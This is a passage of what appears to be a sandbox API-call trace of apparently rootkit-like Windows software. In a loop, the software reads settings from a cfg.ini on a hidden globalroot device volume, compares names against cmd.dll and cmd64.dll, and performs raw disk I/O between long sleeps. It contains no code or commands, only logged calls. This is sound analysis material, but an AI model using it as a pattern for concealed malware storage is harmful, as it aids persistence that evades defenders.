ExFreePoolWithTag (P=0xfffffa8003bf98d0, Tag=0x0) [0125.696] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.696] KeLeaveCriticalRegion () [0125.696] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.696] ReleaseMutex (hMutex=0xf0) returned 1 [0125.696] Sleep (dwMilliseconds=0x124f80) [0125.710] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.710] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.710] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.710] KeEnterCriticalRegion () [0125.710] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.710] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.710] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.710] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.710] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0125.710] IdePortDispatch () returned 0x103 [0125.711] KeWaitForMutexObject () returned 0x0 [0125.711] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.711] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.711] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.712] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.712] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.712] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf8a50 [0125.712] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.712] KeLeaveCriticalRegion () [0125.712] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.712] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.712] KeEnterCriticalRegion () [0125.712] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.712] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.712] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.712] KeLeaveCriticalRegion () [0125.712] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.712] KeEnterCriticalRegion () [0125.712] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.712] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.712] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.712] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.712] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0125.712] IdePortDispatch () returned 0x103 [0125.712] KeWaitForMutexObject () returned 0x0 [0125.712] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.712] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.712] KeLeaveCriticalRegion () [0125.712] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.713] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.713] KeEnterCriticalRegion () [0125.713] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.713] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cd2000 [0125.713] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.713] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.713] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.713] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.713] IdePortDispatch () returned 0x103 [0125.713] KeWaitForMutexObject () returned 0x0 [0125.713] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.713] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.713] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.713] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.713] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.713] IdePortDispatch () returned 0x103 [0125.713] KeWaitForMutexObject () returned 0x0 [0125.713] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.713] KeLeaveCriticalRegion () [0125.713] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.714] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.714] KeEnterCriticalRegion () [0125.714] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.714] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.714] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.714] KeLeaveCriticalRegion () [0125.714] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.714] KeEnterCriticalRegion () [0125.714] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.714] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.714] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf9f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.714] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.714] KeLeaveCriticalRegion () [0125.714] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.714] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.714] KeEnterCriticalRegion () [0125.714] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.714] ExFreePoolWithTag (P=0xfffffa8003bf8a50, Tag=0x0) [0125.714] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.714] KeLeaveCriticalRegion () [0125.714] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.714] ReleaseMutex (hMutex=0xf0) returned 1 [0125.714] Sleep (dwMilliseconds=0x124f80) [0125.729] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.729] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.729] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.729] KeEnterCriticalRegion () [0125.729] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.729] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.729] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.729] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.729] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0125.729] IdePortDispatch () returned 0x103 [0125.729] KeWaitForMutexObject () returned 0x0 [0125.729] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.729] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.729] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.729] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.729] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.729] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf9830 [0125.729] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.729] KeLeaveCriticalRegion () [0125.729] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.729] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.729] KeEnterCriticalRegion () [0125.729] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.729] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.729] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.729] KeLeaveCriticalRegion () [0125.729] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.729] KeEnterCriticalRegion () [0125.729] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.729] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.730] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.730] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.730] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0125.730] IdePortDispatch () returned 0x103 [0125.730] KeWaitForMutexObject () returned 0x0 [0125.730] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.730] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.730] KeLeaveCriticalRegion () [0125.730] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.730] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.730] KeEnterCriticalRegion () [0125.730] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.730] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cd7000 [0125.730] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.730] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.730] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.730] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.730] IdePortDispatch () returned 0x103 [0125.730] KeWaitForMutexObject () returned 0x0 [0125.730] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.730] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.730] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.730] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.730] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.730] IdePortDispatch () returned 0x103 [0125.731] KeWaitForMutexObject () returned 0x0 [0125.731] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.731] KeLeaveCriticalRegion () [0125.731] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.731] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.731] KeEnterCriticalRegion () [0125.731] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.731] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.731] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.731] KeLeaveCriticalRegion () [0125.731] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.731] KeEnterCriticalRegion () [0125.731] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.731] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.731] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf91c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.731] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.731] KeLeaveCriticalRegion () [0125.731] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.731] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.731] KeEnterCriticalRegion () [0125.731] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.731] ExFreePoolWithTag (P=0xfffffa8003bf9830, Tag=0x0) [0125.731] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.731] KeLeaveCriticalRegion () [0125.731] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.732] ReleaseMutex (hMutex=0xf0) returned 1 [0125.732] Sleep (dwMilliseconds=0x124f80) [0125.747] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.747] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.747] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.747] KeEnterCriticalRegion () [0125.747] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.747] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.747] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.747] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.747] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0125.747] IdePortDispatch () returned 0x103 [0125.747] KeWaitForMutexObject () returned 0x0 [0125.747] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.747] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.747] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.747] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.747] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.747] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf9620 [0125.747] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.747] KeLeaveCriticalRegion () [0125.747] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.747] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.747] KeEnterCriticalRegion () [0125.747] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.747] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.747] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.747] KeLeaveCriticalRegion () [0125.747] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.747] KeEnterCriticalRegion () [0125.747] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.747] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.747] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.747] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.747] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0125.747] IdePortDispatch () returned 0x103 [0125.747] KeWaitForMutexObject () returned 0x0 [0125.748] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.748] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.748] KeLeaveCriticalRegion () [0125.748] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.748] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.748] KeEnterCriticalRegion () [0125.748] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.748] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cdd000 [0125.748] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.748] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.748] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.748] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.748] IdePortDispatch () returned 0x103 [0125.748] KeWaitForMutexObject () returned 0x0 [0125.748] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.748] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.748] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.748] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.748] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.748] IdePortDispatch () returned 0x103 [0125.748] KeWaitForMutexObject () returned 0x0 [0125.748] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.748] KeLeaveCriticalRegion () [0125.748] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.749] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.749] KeEnterCriticalRegion () [0125.749] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.749] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.749] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.749] KeLeaveCriticalRegion () [0125.749] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.749] KeEnterCriticalRegion () [0125.749] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.749] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.749] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf91f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.749] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.749] KeLeaveCriticalRegion () [0125.749] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.749] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.749] KeEnterCriticalRegion () [0125.749] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.749] ExFreePoolWithTag (P=0xfffffa8003bf9620, Tag=0x0) [0125.749] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.749] KeLeaveCriticalRegion () [0125.749] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.749] ReleaseMutex (hMutex=0xf0) returned 1 [0125.749] Sleep (dwMilliseconds=0x124f80) [0125.764] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.764] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.764] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.764] KeEnterCriticalRegion () [0125.764] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.764] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.764] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.765] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.765] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0125.765] IdePortDispatch () returned 0x103 [0125.765] KeWaitForMutexObject () returned 0x0 [0125.765] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.765] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.765] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.765] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.765] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.765] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf9180 [0125.765] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.765] KeLeaveCriticalRegion () [0125.765] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.765] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.765] KeEnterCriticalRegion () [0125.765] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.765] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, 